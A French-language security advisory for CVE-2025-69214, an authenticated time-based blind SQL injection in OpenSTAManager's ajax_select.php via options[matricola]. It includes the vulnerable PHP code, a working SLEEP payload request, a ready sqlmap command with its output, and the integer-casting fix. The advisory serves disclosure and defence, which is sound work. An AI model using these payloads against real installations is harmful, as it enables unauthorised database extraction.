CVE-2025-69214 : OpenSTAManager présente une injection SQL dans ajax_select.php (point de terminaison componenti)

Aperçu

Champ	Détails
Identifiant CVE	CVE-2025-69214
Sévérité	ÉLEVÉE
Avis de sécurité	Voir l'avis
Découvert par	Lukasz Rybak

Produits concernés

• devcode-it/openstamanager (versions : <= 2.9.8)

Classification CWE

• CWE-89 : Mauvaise neutralisation des éléments spéciaux utilisés dans une commande SQL (« Injection SQL »)

Détails

Résumé

Une vulnérabilité d'injection SQL existe dans le point de terminaison ajax_select.php lors du traitement de l'opération componenti. Un attaquant authentifié peut injecter du code SQL malveillant via le paramètre options[matricola].

Preuve de concept

Code vulnérable

Fichier : modules/impianti/ajax/select.php:122-124

case 'componenti':
    $impianti = $superselect['matricola'];
    if (!empty($impianti)) {
        $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
    }

Flux de données

1. Source : $_GET['options']['matricola'] → $superselect['matricola']
2. Vulnérable : entrée utilisateur concaténée directement dans la clause IN() sans assainissement
3. Sink : requête exécutée via le framework AJAX

Exploitation

PoC manuel (injection SQL aveugle basée sur le temps) :

GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

Exploitation avec SQLMap :

sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --risk=3

Sortie SQLMap :

[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12

Impact

• Exfiltration de données : l'injection SQL aveugle basée sur le temps permet l'extraction complète de la base de données
• Contournement de l'authentification : accès aux données sensibles des composants et des équipements
• Manipulation de données : modification potentielle non autorisée des enregistrements

Correction

Convertissez les valeurs en entiers avant de les utiliser dans le SQL :

Avant :

$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}

Après :

$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $ids = array_map('intval', explode(',', $impianti));
    $where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}

Crédit

Découvert par : Łukasz Rybak

Références

• https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m
• https://nvd.nist.gov/vuln/detail/CVE-2025-69214
• https://github.com/advisories/GHSA-qjv8-63xq-gq8m

Avis de non-responsabilité

Cette CVE a été divulguée de manière responsable, conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici le sont uniquement à des fins éducatives et défensives.